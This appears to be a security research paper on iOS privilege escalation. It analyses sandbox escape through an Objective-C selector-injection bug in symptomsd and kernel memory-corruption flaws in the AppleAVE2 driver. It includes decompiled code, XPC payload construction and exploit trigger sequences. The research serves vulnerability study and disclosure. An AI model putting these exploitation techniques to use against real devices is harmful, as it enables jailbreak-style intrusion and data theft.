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iOS security consists of many layers, and hackers can find vulnerabilities in 
different layers to gain different levels of access, and it's also possible 
to link multiple vulnerabilities together to form an exploit chain. 

The unique aspect of this paper is to analyze the threat from userland 
vulnerabilities, and then use its advantages to attack the neglected kernel 
weaknesses, thereby completing the privilege escalation from the user to the 
kernel. 

It may not sound as cool as attacking the kernel directly. Still, it has been 
proven to be a practical method for jailbreaking. Also, such exploits are 
eligible for various bounty programs and are well hidden, which reduces the 
chance of bug collision. These are important factors that an independent 
researcher needs to consider before deciding to enter the field full-time. 

A general term "Sandbox" refers to similar security mechanisms for separating 
running programs by controlling the power and resources that a process may 
use. It's customizable and evolvable. Thus it lets Apple neutralize many 
kinds of vulnerabilities in a very short period of time, with almost no 
overhead added. It's one of the revolutionary improvements in the computer 
security domain. 

On iOS, the restrictions placed on an executable file mainly depends on 4 
sources: 
  1. How does it pass code signing verification ? Via TrustCache? Signed by 
Apple or Third-party developers? 
  2. The entitlements that are embedded in the code signature. 
  3. The path of execution. 
  4. Unix UID. 
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All third-party applications on iOS are automatically placed in a 
containerized environment due to the path they execute. They have limited 
access to all kinds of resources such as files, services, kernel APIs, fork/
exec. Usually, refer to this as the "Default Application Sandbox". 

For executable files outside the container, which supposedly all are system 
files. Apple has set the file system partition where these files are located 
as read-only and selectively give each independent executable file 
entitlements that are limiting its access. There are over 300 preinstalled 
system execution files on iOS, the number doesn't include dependencies such 
as dynamic libraries and plugins, and they can be divided into 3 categories 
according to the essential of the functionality: 

Category I 
The daemons and the *helper programs. Handle significant background tasks; 
Act as a bridge to communicate between users and the kernel to separate 
privileges. 

Category II 
Preinstalled Command line tools. 

Category III 
System applications. 

We focus on category I as many of them have provided XPC interfaces (Userland 
Mach Services) for client access. and where there is data interaction with 
clients, there is a possibility for finding vulnerability that lets us 
execute code in that system process context. Therefore, gain access to more 
files/services/privileges that are normally not accessible in the Default 
Application Sandbox. 

Given that most daemons have relatively loose restrictions, listed below are 
the privileges we are more interested in, a daemon could have all of them or 
none, depends on the entitlements it has: 
  1) Access to the entire file system without sandbox restriction. 
  2) Capable to execute other Mach-O files via syscall. 
  3) Access to other userland system services without sandbox restriction. 
  4) Access to kernel interfaces (Specifically IOKit Drivers) without sandbox 
restriction. 

It is worth noting that the attacker can perform limited malicious operations 
without compromising the kernel, as for the privileges listed above: 
    -> 1) Could steal unencrypted information stored on the device or tamper 
them. 
    -> 2) Could trigger vulnerabilities that exist in the launching process; 
Possible use for persistence exploit. 
    -> 3)4) Use private APIs to perform unauthorized operations or use as a 
trampoline to attack another vulnerable service; Attack kernel to further 
elevate privilege. 

Since the desired restrictions can be added freely, the Sandboxing is 
undoubtedly a very powerful mitigation measure. In fact, most vulnerabilities 
can be made totally harmless by strengthening the sandbox restrictions, 
However, iOS in reality, still has a number of system processes that lack 
necessary restrictions in place. 
The following is an abstract diagram of using daemons as a trampoline to 
reach kernel: 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(A): Have free access to both kernel APIs and userland MachServices. 
(B): Anything that can freely access the kernel APIs. 
(C): Have restricted access to kernel APIs, but no restrictions on accessing 
other userland MachServices. 
(D): Same as the (E), but possess special entitlement that may comes handy 
later. 
(E): Have restricted access to both kernel APIs and userland MachServices. 
(F): Very limited kernel APIs that can be accessed directly from the default 
application sandbox. 
(G): Very limited kernel APIs that can be accessed directly from the WebKit. 

User application refers to any third-party apps other than preinstalled apps, 
including Apps from the App Store or installed through personal or corporate 
developer certificates. 

Whereas Webkit here refers to the process that is part of the WebKit 
framework. It renders JavaScript code when the user browses a web page. This 
is critical because this is where the RCE attack occurs, thus Webkit is 
subject to very stringent sandbox restrictions. 
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Next, we will show some statistical data from iOS 12 to iOS 14, which 
intuitively reflects the continuous strengthening of the Sandbox. 
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These numbers are incredibly large, it's saying that if a person can find 
code execution vulnerabilities in the exposed 90 MachServices on iOS 13, he 
can break the default application sandbox then attack the neglected interface 
of the kernel. Besides, on iOS 13, 54 out of 55 those exposed daemons are NOT 
blocked from reading/writing other application's data or executing system 
binaries.  

There are a variety of seemly sandbox-related entitlements been used to 
restrict daemons, but the lack of corresponding documentation and 
precautions, which might have been the reason for inconsistency in use: 

  a) com.apple.security.app-sandbox 
  b) com.apple.security.system-container 
  c) com.apple.security.exception.iokit-user-client-class 
  d) com.apple.security.temporary-exception.iokit-user-client-class 
  e) com.apple.security.exception.mach-lookup.global-name 
  f) com.apple.security.temporary-exception.mach-lookup.global 
  g) com.apple.private.security.container-required 
  h) seatbelt-profiles 
  i) Invocation of libsystem_sandbox.dylib`_sandbox_init 

Among all these options, only g)h)i) have effect on kernel APIs/userland 
MachServices access restrictions. The rest of them are weaker than one may 
think. 

a): blocks access to other app's data in the file system, but it will not 
interfere with access to the kernel and other userland MachServices. 

b): is almost as if it's not there. 

c)d)e)f): been used widely. However, they only work when co-existing with 
g)h)i). Otherwise, it's as if it's not there. Ironically, you can see a lot 
of misuse cases like the following. 

The entitlements of /usr/libexec/thermalmonitord on iOS 13.7: 
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<dict> 
 <key>com.apple.CommCenter.fine-grained</key> 
 <array> 
  <string>spi</string> 
 </array> 
 <key>com.apple.coreduetd.allow</key> 
 <true/> 
 <key>com.apple.coreduetd.context</key> 
 <true/> 
 <key>com.apple.private.aets.user-access</key> 
 <true/> 
 <key>com.apple.private.hid.client.event-monitor</key> 
 <true/> 
 <key>com.apple.private.smcsensor.user-access</key> 
 <true/> 
 <key>com.apple.security.exception.mach-lookup.global-name</key> 
 <array> 
  <string>com.apple.coreduetd.context</string> 
 </array> 
 <key>com.apple.systemapp.allowsShutdown</key> 
 <true/> 
 <key>com.apple.wifi.manager-access</key> 
 <true/> 
</dict>



I believe what Apple wants is to restrict its access only to a userland 
MachService called com.apple.coreduetd.context. But in fact, this daemon has 
no sandbox at all and it is free to access all userland MachServices. It's 
misleading to have that entitlement. 

iOS 14 introduced a new entitlement com.apple.security.iokit-user-client-
class that does the desired function. That is to limit access to only the 
iokit classes contained in the entitlement. Because of it, the sandbox on iOS 
14 has been greatly improved even with increased number of MachServices. 

 

Nevertheless, we cannot say that it is 100% secured yet. The following 
diagram shows possible routes to get unsandboxed access on iOS 14. 
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With that in mind, in an ideal sandbox environment, we should see something 
like this: 

 

 

However, it's safe to say iOS 14 has improved security. For comparison, the 
following diagram shows common Sandbox-Escape scenarios in prior to iOS 14. 
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The Userland vulnerability for Sandbox-Escape CVE-????-???? (At 
least iOS 12.0 - iOS 14.1) 

This section talks about how this vulnerability was found, how to exploit it, 
and searching for a similar weakness pattern in other daemons. 

On iOS 13, from the insecure target list of 55 daemons/90 MachServices, I 
have applied other conditions to the target filter for a better result: 

  1. Not running as a root user. For iOS Sandbox-Escape, root is quite 
worthless but attracts others to audit its code. 
  2. Not using NSXPC. Using NSXPC implies a fair amount of code was 
Objective-C if not all of it. Not using NSXPC doesn't mean there is no 
Objective-C code, but gives us hint that more or less C code is mixed. It's 
tough to find an exploitable issue in Objective-C code alone. 
  3. Not written by Swift. It's even tougher to find an exploitable issue in 
Swift code. 

Only three daemons remain after this level of filtering: 

Both AuthBrokerAgent and symptomsd were also used on macOS before 10.15, 
which greatly ease our workload to reverse-engineer their binary files and 
associated frameworks with unparalleled debugging capability. 

The vulnerability is located at a private framework 
SymptomEvaluator.framework, used by symptomsd.  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/System/Library/CoreServices/StarBoard.app/StarBoard 
  1. com.apple.StarBoard.presentationAssertion 

/System/Library/Frameworks/CFNetwork.framework/AuthBrokerAgent 
  2. com.apple.cfnetwork.AuthBrokerAgent 

/usr/libexec/symptomsd 
  3. com.apple.symptoms.symptomsd.managed_events 
  4. com.apple.usymptomsd

-[SimpleRuleEvaluator evaluateSignatureForEvent:](SimpleRuleEvaluator *self, SEL sel, id arg_event) 
{ 
    ... 
    v18 = (DecisionDetails *)-[DecisionDetails initWithReason:code:evaluations:]( 
                               v17, 
                               "initWithReason:code:evaluations:", 
                               self->_stringToLog, 
                               self->_awd_code, 
                               0); 
    v19 = self->_additionalInfoGenerator; 
    v20 = v35; 
    if ( v19 ) 
    { 
      v21 = objc_msgSend(v19, "performSelector:withObject:", self->_additionalInfoSelector, arg_event); 
      v22 = objc_retainAutoreleasedReturnValue(v21); 
      v23 = v22; 
      if ( v22 ) 
        -[DecisionDetails setAdditionalInfo:](v18, "setAdditionalInfo:", v22); 
      objc_release(v23); 
    } 
    ... 
}



The instance variable self->_additionalInfoSelector here is supplied by the 
user input, causing class instance self->_additionalInfoGenerator to execute 
unexpected Objc method such as dealloc -- It ignores retain Count and go 
straight to deallocate the memory occupied by the class instance.  

In that case, it's possible to form a Use-After-Free. However, it is not 
feasible to turn it into an exploit, as the next line of the code, the 
invocation of "objc_retainAutoreleasedReturnValue" will inevitably crash the 
process because there was no time for the attacker to spray data over the 
memory that just released.  

symptomsd has used thread-safe queue in its xpc message receiver. The 
attacker must wait until the thread returns before sending xpc messages for 
memory spray. So it was not just had no time but virtually impossible to do 
so before the crash occurs.  We have to looking for other way to exploit it. 

Let us take look at how self->_additionalInfoGenerator and self-
>_additionalInfoSelector been given value. 

The code pass a user-controlled string to a class method +
[ConfigurationHandler classRepresentativeForName:], and its returned value is 
given to the self->_additionalInfoGenerator. 

We quickly found a dictionary containing the relationship between the name 
and the class it represents: 
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-[SimpleRuleEvaluator configureInstance:](SimpleRuleEvaluator *self, SEL sel, id input_dic) 
{ 
  ... 
  v28 = objc_msgSend(input_dic, "objectForKey:", CFSTR("ADDITIONAL_INFO_GENERATOR")); 
  v28 = objc_retainAutoreleasedReturnValue(v28); 
  if ( v28 ) 
  { 
    v30 = objc_msgSend( 
            &OBJC_CLASS___ConfigurationHandler, 
            "classRepresentativeForName:", 
            v28);  
    v30 = objc_retainAutoreleasedReturnValue(v30); 
    v32 = self->_additionalInfoGenerator; 
    self->_additionalInfoGenerator = (AdditionalInfoProtocol *)v30; 
    objc_release(v32); 
    if ( self->_additionalInfoGenerator ) 
    { 
      v33 = objc_msgSend(input_dic, "objectForKey:", CFSTR("ADDITIONAL_INFO_SELECTOR")); 
      v33 = objc_retainAutoreleasedReturnValue(v33); 
      if ( !v33 ) 
      { 
        v33 = CFSTR("generateAdditionalInfo:"); 
        objc_retain(CFSTR("generateAdditionalInfo:")); 
      } 
      self->_additionalInfoSelector = NSSelectorFromString(v33); 
      objc_release(v33); 
    } 
  } 
  ... 
}



Several properties of the class SimpleRuleCondition that has a representative 
name CertificateErrors caught my attention: "ADDITIONAL_HANDLER", "MaxAge", 
"MinCount".  

With name connection to some objc methods, they appear to be controlled by 
user input data: 

-[SimpleRuleCondition setAdditionalHandler:] 
-[SimpleRuleCondition setAdditionalSelector:] 
-[SimpleRuleCondition setConditionMaxAge:] 
-[SimpleRuleCondition conditionMaxAge] 
-[SimpleRuleCondition setConditionMinCount:] 
-[SimpleRuleCondition conditionMinCount] 

With more digging and reverse engineering work. I wrote the following code 
that allows us to set conditionMinCount from the client process via XPC: 
5637210112 is the decimal form of 0x150010000. It's a memory address found by 
enormous test that will highly likely be covered by our sprayed data 
regardless of ASLR slide. 
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(__NSDictionaryM *) $0 = 0x00007fa0d69002e0 124 key/value pairs 
(lldb) po 0x00007fa0d69002e0 
{ 
    ARPCounts = "name ARPCounts conditionType PREV_SYMPTOM PrevSymptom com.apple.symptoms.kevent.arp-failure  
MaxAge 8 MinCount 3 Class <n/a> StrId (null) StrLen0 Flags 0x0\n"; 
    AnalyticsLaunchpad = "<AnalyticsLaunchpad: 0x7fa0d6b1f590>"; 
    AppTracker = "AppTracker at 0x7fa0d6905670 user (null)  flows: self 0  others 0 prevs 0  avg duration 
0.000000 rx 0 tx 0 everset 0x0 policy (null)"; 
    ArbitratorExpertSystemHandler = "<ArbitratorExpertSystemHandler: 0x7fa0d690b320>"; 
    BackgroundNetworkingTriggerHandler = "BackgroundNetworkingTriggerHandler at 0x7fa0d69057f0"; 
    CellFallbackHandler = "<CellFallbackHandler: 0x7fa0d4f12fd0>"; 
    CertificateErrorHandler = "banned {\n}   current (\n)"; 
    CertificateErrors = "name CertificateErrors conditionType ADDITIONAL_HANDLER PrevSymptom (null)  MaxAge 
0 MinCount 3 Class banned {\n}   current (\n) StrId (null) StrLen0 Flags 0x0\n"; 
    DataStallHandler = "current: {\n}"; 
    ExcessRedirects = "name ExcessRedirects conditionType ADDITIONAL_HANDLER PrevSymptom (null)  MaxAge 0 
MinCount 5 Class RedirectHandler at 0x7fa0d6b21630, maxAge 60.000000 numDests 0 ignored 0 negatives 0 dests 
{\n} origins {\n} pids {\n} StrId (null) StrLen0 Flags 0x0\n"; 
    FeedbackHandler = "<FeedbackHandler: 0x7fa0d6b21210>"; 
    FilterHandler = "FilterHandler 0x7fa0d6905280"; 
    GateOpen = "name GateOpen conditionType PREV_SYMPTOM PrevSymptom 
com.apple.symptoms.discretionary.tasks.suspended  MaxAge 2147483647 MinCount 1 Class <n/a> StrId (null) 
StrLen0 Flags 0x0\n"; 
....

-[SimpleRuleCondition configureInstance:](SimpleRuleCondition *self, SEL sel, id input_dic) 
{ 
  ... 
  v6 = objc_msgSend(input_dic, "objectForKey:", CFSTR("REQUIRED_MINIMUM_COUNT")); 
  v6 = objc_retainAutoreleasedReturnValue(v6); 
  if ( v6 ) 
    self->_conditionMinCount = (signed __int64)objc_msgSend(v6, "integerValue"); 
  ... 
}

xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); 
xpc_dictionary_set_uint64(msg, "type", 2); 
xpc_object_t config_arr = xpc_array_create(NULL, 0); 
xpc_dictionary_set_value(msg, "config", config_arr); 
xpc_object_t each_config = xpc_dictionary_create(NULL, NULL, 0); 
xpc_array_append_value(config_arr, each_config); 
xpc_dictionary_set_string(each_config, "GENERIC_CONFIG_TARGET", "CertificateErrors"); 
xpc_dictionary_set_string(each_config, "REQUIRED_MINIMUM_COUNT", "5637210112");



Now back to -[SimpleRuleEvaluator evaluateSignatureForEvent:], if we set 
self->_additionalInfoGenerator as an instance of class SimpleRuleCondition, 
and self->_additionalInfoSelector as conditionMinCount. Things are getting 
interesting here. 

With fully controlling over v21 value/pointer and the memory it points to, we 
can now avoid crash that is supposed to happen in the Use-After-Free 
situation.And v21 will get pass to -[DecisionDetails setAdditionalInfo:], 
setting an instance variable of the class DecisionDetails, and gets released 
during the deallocation of DecisionDetails instance. 

Now the goal is very clear, we need to manage to release that DecisionDetails 
instance, and that will straight leads to arbitrary code execution. It's same 
as calling objc_release() with a pointer under our control, and it's a common 
scenarios in different userland exploit, the same payload code can be reused 
at this point to achieve code execution. 

DecisionDetails instance is bound to a ManagedEvent instance, through the 
same xpc service com.apple.symptoms.symptomsd.managed_events allows the 
attacker to create multiple ManagedEvent instances. 
DecisionDetails instance gets release when belonged ManagedEvent instance 
releases, and that happens inside the following function: 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-[SimpleRuleEvaluator evaluateSignatureForEvent:](SimpleRuleEvaluator *self, SEL sel, id arg_event) 
{ 
    ... 
    v18 = (DecisionDetails *)-[DecisionDetails initWithReason:code:evaluations:]( 
                               v17, 
                               "initWithReason:code:evaluations:", 
                               self->_stringToLog, 
                               self->_awd_code, 
                               0); 
    v19 = self->_additionalInfoGenerator; 
    v20 = v35; 
    if ( v19 ) 
    { 
      v21 = objc_msgSend(v19, "performSelector:withObject:", self->_additionalInfoSelector, arg_event); 
      v22 = objc_retainAutoreleasedReturnValue(v21); // v21 is under our complete control 
      v23 = v22; 
      if ( v22 ) 
        -[DecisionDetails setAdditionalInfo:](v18, "setAdditionalInfo:", v22); 
      objc_release(v23); 
    } 
    ... 
}

void -[DecisionDetails .cxx_destruct](DecisionDetails *self, SEL sel) 
{ 
  objc_storeStrong(&self->_additionalInfo, 0LL); // The use of objc_storeStrong here is equal to calling 
objc_release(self->_additionalInfo)  
  objc_storeStrong(&self->_evaluations, 0LL); 
  objc_storeStrong(&self->_timestamp, 0LL); 
}

-[ManagedEventHandler didReceiveSyndrome:]: 
{ 
  ... 
  objc_msgSend((void *)self->_managedEvents, "addObject:", v7); 
  if ( (unsigned __int64)objc_msgSend((void *)self->_managedEvents, "count") >= 6 ){ 
    ... 
    objc_msgSend((void *)self->_managedEvents, "removeObjectAtIndex:", 0LL); 
    ... 
  } 
  ... 
} 



self->_managedEvents is an array, contains all the ManagedEvent instances, 
and the first ManagedEvent instance been added to the array gets released 
when array count reaches 6. 

You can find these function calls in my exploit code, each call sends a 
message: 

Every symptomsd_vuln_trigger call results in a new ManagedEvent instance been 
created and added to the array, symptomsd_vuln_trigger(1) is setting 
_additionalInfo of the DecisionDetails instance, of that particular 
ManagedEvent instance, symptomsd_vuln_trigger(2) is doing the spray work. 

Total six times of symptomsd_vuln_trigger been called in order to get the 
first ManagedEvent instance releases, and that one has a modified 
_additionalInfo to trigger a objc_release call on whatever address attacker 
wants. The symptomsd_vuln_prepare* calls are exploiting the vulnerability to 
set _additionalInfo value. 

That was how this vulnerability CVE-????-???? being exploited. 
 
Vulnerability like this perfectly demonstrated a special weakness pattern of 
using Objective-C, which sort of like the eval() in Javascript, the user 
input string may execute unexpected methods. 

Below are two other potential vulnerabilities that show the same weakness 
pattern, affecting iOS 14 and previous versions as these codes have been 
around for a while. 

1. The first one is in /usr/libexec/demod_helper with registered MachService 
com.apple.mobilestoredemodhelper. 
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symptomsd_vuln_prepare1(); 
symptomsd_vuln_prepare2(1); 
symptomsd_vuln_trigger(1); 
symptomsd_vuln_prepare2(0); 
symptomsd_vuln_trigger(0); 
symptomsd_vuln_trigger(0); 
symptomsd_vuln_trigger(0); 
symptomsd_vuln_trigger(0);     
symptomsd_vuln_trigger(2); // <== 6

void -[MSDHMessageResponder handleXPCMessage:](MSDHMessageResponder *self, SEL sel, id xpcmsg) 
{ 
  if ([MSDHMessageResponder hasEntitlementMobileStoreDemod](self, "hasEntitlementMobileStoreDemod") & 1 ) 
  { 
    msg_cfdic = objc_msgSend(&OBJC_CLASS___NSDictionary, "dictionaryWithXPCDictionary:", xpcmsg); 

    v8 = objc_msgSend(msg_cfdic, "countByEnumeratingWithState:objects:count:", &v40, &v44, 16LL); 
    if(v8){ 
      ... 
      input_string = NSSelectorFromString((*((_QWORD *)&v40 + 1) + 8 * v10)); 
      ... 
      objc_method_IMP = objc_msgSend(self, "methodForSelector:", input_string); 
      input_arg = objc_msgSend(msg_cfdic, "objectForKey:", another_input_string); 
      objc_method_IMP(self, input_string, input_arg);                                                                     
    } 
  } 
}



Suppose there is no proper entitlement check or got bypassed. This one would 
also be highly reliable to exploit it. 

2. And then the second case is in /usr/libexec/profiled. 

This one is possible to be triggered from the file. There are good and bad 
things in terms of exploitability.  

Good thing is that it can be used to build persistence exploit since it 
doesn't require code execution to trigger it. The bad thing is that without 
code execution it is hard to bypass the joint mitigation measures of ASLR and 
PAC. 

The following code snippet shows the lack of input string checks, the 
attacker could execute unexpected method on class instance. 

Then the input_sel is used to execute a method in separate function: 

It's part of the read-only system partition, so with just Sandbox-Escape 
wouldn't be enough to modify that file. The attacker needs to reach the 
kernel to bypass the read-only setting first. 

That was the userland exploitation. After we break out of the default 
application sandbox, we will then attack the neglected interface of the 
kernel. 
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void sub_10007A978(__int64 a1, __int64 a2, __int64 a3) 
{ 
  Globalvar_plist_path = objc_retain(Globalvar_plist_path); 
  plistdata = objc_msgSend(&OBJC_CLASS___NSData, "dataWithContentsOfFile:", Globalvar_plist_path); 
  plistdata_dic = objc_msgSend( 
         &OBJC_CLASS___NSPropertyListSerialization, 
         "MCSafePropertyListWithData:options:format:error:", 
         plistdata, 
         0LL, 
         0LL, 
         &v88); 
  ... 
  v8 = objc_msgSend(plistdata_dic, "countByEnumeratingWithState:objects:count:", &v40, &v44, 16LL); 
  if(v8){ 
    ... 
    input_class_name = objc_msgSend(v24, "objectForKey:", CFSTR("loaderClass")); 
    input_sel_string = objc_msgSend(v24, "objectForKey:", CFSTR("loaderSelector")); 
    ... 
    input_sel = NSSelectorFromString(input_sel_string); 
    if(v53){ 
      CFDictionarySetValue(Globalvar_sel_dic, v21, input_sel); 
    } 
  } 
}

-[MCRestrictionManagerWriter notifyClientsToRecomputeCompliance] 
{ 
  input_sel = CFDictionaryGetValue(global_dic_contains_cls, *(_QWORD *)(*((_QWORD *)&v18 + 1) + 8 * v9)); 
  ... 
  specified_method_IMP = objc_msgSend(v11, "methodForSelector:", input_sel); 
  specified_method_IMP(v11, input_sel, v10); 
} 



Attack AVEVideoEncoder component 
AppleAVE2 is a graphics IOKit driver that runs in kernel space and exists 1

only on iOS and just like many other iOS-exclusive drivers, it's not open-
source and most of the symbols have been removed.  

The driver can not be accessed from the default app sandbox environment, 
which reduces the chances of thorough analysis by Apple engineers or other 
researchers. The old implementation of this driver seems like a good attack 
surface and the following events demonstrate this well.  

Back in 2017, 7 vulnerabilities were exposed in the same driver, by Adam 
Donenfeld of the Zimperium zLabs Team, 

From the description of these vulnerabilities, some remain attractive even 
today, while powerful mitigations like PAC (for iPhones/iPads with A12 and 
above) and zone_require (iOS 13 and above) are present, arbitrary memory 
manipulation vulnerabilities such as CVE-2017-6997, CVE-2017-6999 play a far 
greater role than execution hijacking type, have great potential when used in 
chain with various information leakage vulnerabilities. 

Despite the fact that these vulnerabilities have CVEs, which generally 
indicating that they have been fixed, Apple previously failed to fix bugs in 
one go  and even bug regressions . With that in-mind, let’s commence our 2 3

journey to hunt the next AVE vulnerability!  

 Apple has proposed a new security design called DriverKit in WWDC 2019, and has been advancing it ever since. 1

Reducing the contact surface between kext and kernel to increase security. However by the time of  writing, it doesn't 
apply to iOS.

 Overlapping Segment Attack against dyld to achieve untethered jailbreak, first appearance in iOS 6 jailbreak tool -- 2

evasi0n, then similar approach shown on every public jailbreak, until after Pangu9, Apple seems finally eradicated 
the issue. 

 Apple accidentally re-introduces previously fixed security flaws in a newer version. An example is a kernel 3

vulnerability dubbed the LightSpeed bug, which was fixed on iOS 12, later reappear on iOS 13, and used in 
Unc0ver jailbreak.
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We will start off from the user-kernel data interaction interface. 
AppleAVE2 exposes 9 (index 0-8) methods via rewriting 
IOUserClient::externalMethod. 

Two exposed methods (index 0 and 1) allow to add or remove clientbuf(s), by 
the FIFO order. 

The methods of index 3,4,5,6,7 and 8 all eventually calling 
AppleAVE2Driver::SetSessionSettings through IOCommandGate to ensure thread-
safe. 

We mainly use method at index 7 to encode a clientbuf, which basically means 
to load many IOSurfaces via IDs provided from userland, and use method at 
index 6 to trigger the multiple security flaws located inside 
AppleAVE2Driver::SetSessionSettings. 
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(index) 
    0:  AppleAVE2UserClient::sAddClient 
    1:  AppleAVE2UserClient::sRemoveClient 
    2:  AppleAVE2UserClient::sSetCallback 
    3:  AppleAVE2UserClient::sSessionSettings 
    4:  AppleAVE2UserClient::sStopSession 
    5:  AppleAVE2UserClient::sCompleteFrames 
    6:  AppleAVE2UserClient::sEncodeFrame 
    7:  AppleAVE2UserClient::sPrepareToEncodeFrame 
    8:  AppleAVE2UserClient::sResetBetweenPasses 

AppleAVE2Driver::call_setSessionSettings(this, client, input_num, input_stru) 
{ 
    ... 
    cmdgate = this->cmdgate; 
    v8 = OSMetaClassBase::_ptmf2ptf(this, AppleAVE2Driver::SetSessionSettings, 0); 
    return cmdgate->v->IOCommandGate::runAction( 
           cmdgate, 
           v8, 
           v6, 
           input_num, 
           input_stru, 
           0); 
}

int AppleAVE2Driver::SetSessionSettings(AppleAVE2Driver *this, 
AppleAVE2UserClient *client_this, uint64_t input_num, void *input_buf)



The following chart entails a relationship map between salient objects: 

clientbuf is memory allocated via IOMalloc, with quite significant size 
(0x29B98), observed from iOS 13.2. 

Every clientbuf object that is being added contains pointers to the front and 
back, forming a double-linked list, the AppleAVE2Driver's instance stores 
only the most recent added clientbuf pointer. 

The clientbuf contains multiple MEMORY_INFO structures. When user-space 
provides IOSurface, an iosurfaceinfo_buf will be allocated and then used to 
fill these structures. 

iosurfaceinfo_buf contains a pointer to AppleAVE instance, as well as 
variables related to mapping from user-space to kernel-space. 

Next is the structures involved during the exploitation: 

16  



17  



As part of the clientbuf structure, the content of these InitInfo_block(s) is 
copied from user-controlled memory through IOSurface, this happens when the 
user first time calls another exposed method(At index 7) after adding a new 
clientbuf. 
m_DPB is related to arbitrary memory reading primitive which will be 
explained later in this paper. 

Brief Introduction to IOSurface 
Read the below in case if you are not familiar with IOSurface. 

According to Apple's description IOSurface is used for sharing hardware-
accelerated buffer data ( for framebuffers and textures) more efficiently 
across multiple processes. 

Unlike AppleAVE, an IOSurface object can be easily created by any userland 
process (using IOSurfaceRootUserClient). When creating an IOSurface object 
you will get a 32 bits long Surface ID number for indexing purposes in the 
kernel so that the kernel will be able to map the userspace memory associated 
with the object into kernel space.  
Now with these concepts in mind let's talk about the AppleAVE 
vulnerabilities.  

The First Vulnerability CVE-2019-8795 (At least iOS 12.0 - iOS 
13.1.3) 
The first AppleAVE vulnerability has given CVE-2019-8795 and together with 
other two vulnerabilities -- A Kernel Info-Leak(CVE-2019-8794) that simply 
defeats KASLR, and a Sandbox-Escape(CVE-2019-8797) that's necessary to access 
AppleAVE, created an exploit chain on iOS 12 that was able to jailbreak the 
device. That's until the final release of iOS 13, which  destroyed the 
Sandbox-Escape by applying sandbox rules to the vulnerable process and 
preventing it from accessing AppleAVE, So the sandbox escape was replaced 
with another sandbox escape vulnerability that was discussed before.  

The first AppleAVE vulnerability was eventually fixed after the update of iOS 
13.2. Here is a quick description about it and for more detailed-write up you 
can look at a previous writeup .  4

 https://blog.zecops.com/vulnerabilities/releasing-first-public-task-for-pwn0-tfp0-granting-poc-on-ios/4
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v73 = clientbuf->memoryInfoCnt1 + 2;   // Both memoryInfoCnt1 and memoryInfoCnt2 are under 
attacker’s control 
if ( v73 <= clientbuf->memoryInfoCnt2 ) 
    v73 = clientbuf->memoryInfoCnt2; 
if ( v73 ) 
{ 
    iter1 = 0; 
    statsMapBufArr = clientbuf->statsMapBuffer_array; 
    do 
    { 
        AppleAVE2Driver::DeleteMemoryInfo(this, statsMapBufArr); 
        ++iter1; 
        loopMax = clientbuf->memoryInfoCnt1 + 2; 
        cnt2 = clientbuf->memoryInfoCnt2; 
        if ( loopMax <= cnt2 ) 
            loopMax = cnt2; 
        else 
            loopMax = loopMax; 
        statsMapBufArr += 0x28; 
    } 
    while ( iter1 < loopMax ); 

https://blog.zecops.com/vulnerabilities/releasing-first-public-task-for-pwn0-tfp0-granting-poc-on-ios/


When a user releases a clientbuf, it will go through every MEMORY_INFO that 
the clientbuf contains and will attempt to unmap and release related memory 
resources.   
The security flaw is quite obvious if you compare to how Apple fixed it: 

The unfixed version has defect code due to an out-of-bounds access that 
allows an attacker to hijack kernel code execution in regular and PAC-enabled 
devices. This flaw can also become an arbitrary memory release primitive via 
the operator delete. and back then, before Apple fixed zone_require flaw on 
iOS 13.6, that was enough to achieve jailbreak on the latest iOS device. 

The Second Vulnerability CVE-2020-9907 (iOS 13.2 - iOS 13.5.1) 

The second vulnerability wasn't caused by a particular issue, rather combined 
with many other exploitable weaknesses, and ended up giving us an arbitrary 
kernel memory Read and Write primitive. This security issue was fixed on 
update of 13.6 by removing the vulnerable code, compared to the first 
vulnerability, this one requires more complex exploit-flow. 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v63 = 0LL; 
v64 = clientbuf->statsMapBuffer_array; 
do 
{ 
    AppleAVE2Driver::DeleteMemoryInfo(this_1, v64 + v63); 
    v63 += 40; 
} 
while ( v63 != 200 );



A piece of memory that we have full control over will be mapped into the 
kernel through an IOSurface object,  let's call this piece of memory 
"mapping_fromUser".  At the beginning of the exploit, the exact address of 
the mapping_fromUser is unknown. One of the key steps of the exploit is to 
leak its address. 

mapping_fromUser is a continuous memory mapping across userspace and kernel, 
both sides can make changes to this memory, and the changes will be updated 
on the other side, with a slight delay.  

The way AppleAVE used this memory was unsafe: 
  1. Use mapping_fromUser as a temporary variable to store kernel pointer, 
potentially leaking kernel pointers and giving attackers the time-window to 
replace the kernel pointer. 

  2. During the execution of AppleAVE2Driver::SetSessionSettings, timestamp 
will be written to a specific offset at mapping_fromUser, leaving a huge 
advantage for attackers to win the race-condition. 

The following code snippet can be found in 
AppleAVE2Driver::SetSessionSettings: 

Since we can read and write data out of mapping_fromUser anytime, it 
constitutes of three gadgets through Race-condition that will be used in 
later exploitation: 
- Gadget1: Zero out any 40 bytes-long memory in kernel 
- Gadget2: Allocate a 40 bytes-long memory in kernel and leak its address 
- Gadget3: Release any 40bytes-long memory in kernel via IOFree 

The trigger functions are empty_kernel_40_mem(), alloc_kernel_40_mem(), 
release_kernel_40_mem(), respectively, in the exploit code. 

Now we can proceed to achieve the key step, leak the kernel-side address of 
mapping_fromUser. 
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v45 = *(_QWORD **)(mapping_fromUser + 5936); 
if ( !v45 ) 
{ 
    v45 = IOMalloc(40); 
    *(_QWORD *)(mapping_fromUser + 5936) = v45; // Heap address leak 
    if ( !v45 ) 
    { 
        v52 = "AVE ERROR: EnqueueGated IOMalloc failed.\n"; 
        printf(v52, a9); 
        return 0; 
    } 
 } 
v46 = &clientbuf->inputmap_InitInfo_block4[32]; 
memset(v45, 0, 40uLL);



By continuously allocating and releasing 40 bytes-long memory using these 
gadgets, collecting every leaked address and observing certain patterns 
within them, we can predict or deduce that one of these leaked addresses has 
been or will be occupied by our desired target -- A OSData instance which 
also has 40 bytes-long size.  

Regarding the method of allocating OSData in kernel, please refer to 
Ro(o)tten Apples  by Adam Donenfeld. This method allows us to re-read the data 5

carried by OSData after allocated it, which is very important as we are going 
to overwrite its data pointer, to leak informations. 

40 bytes-long memory falls into the kalloc.48 zone, two adjacent blocks 
should have interval length of 48 instead of 40 bytes. We name these leaked 
40 bytes-long memory "paveway_mem", meaning "pave the way for further heap 
manipulation". 

We prepare an array to collect two consecutive blocks, and named the array 
"trap_mems", because they are like holes in heap feng-shui. 

 https://www.blackhat.com/docs/eu-17/materials/eu-17-Donenfeld-Rooten-Apples-Vulnerability-Heaven-In-The-5

IOS-Sandbox.pdf
